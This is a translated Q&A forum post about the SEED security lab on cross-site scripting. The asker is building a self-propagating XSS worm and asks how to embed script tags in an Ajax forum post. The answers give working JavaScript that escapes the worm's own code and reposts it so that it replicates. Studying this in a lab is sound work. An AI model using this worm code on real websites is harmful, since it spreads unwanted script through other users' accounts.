在ajax内容</script>中发送<script>标记

时间:2011-11-28 18:52:36

标签: javascript dom .net-security

我正在移植此实验室:http://www.cis.syr.edu/~wedu/seed/Labs/Attacks_XSS/XSS.pdf

对于一个项目。首先,我必须能够自己完成它。我正在努力研究自我传播的蠕虫,并遇到一些困难。如何通过内容发送脚本标记?如果我尝试:

var wormCode = getElementById("worm");
var escapedWorm = escape(wormCode.innerHTML);
content="topicTitle=testprop&postText=<script>"+escapedWorm+"</script>&forum=3&action=ptopic";
Ajax.send(content);

标签突破了它所包含的更大的JavaScript。我也尝试将它拆分为:

...+"</scr"+"ipt>&...

但这不起作用。

任何提示?

编辑:用我最近的(希望,准确的)尝试更新。

2 个答案:

答案 0 :(得分:0)

var wormCode = getElementById("worm");
var escapedWorm = escape("<" + "script>" + wormCode.innerHTML + "</" + "script>");
content="topicTitle=testprop&forum=3&action=ptopic&postText="+escapedWorm;
Ajax.send(content);

您没有转义脚本标记。

答案 1 :(得分:0)

将结束脚本标记拆分为两个不同的部分最终完成了工作。我认为我遇到的问题是浏览器特定的。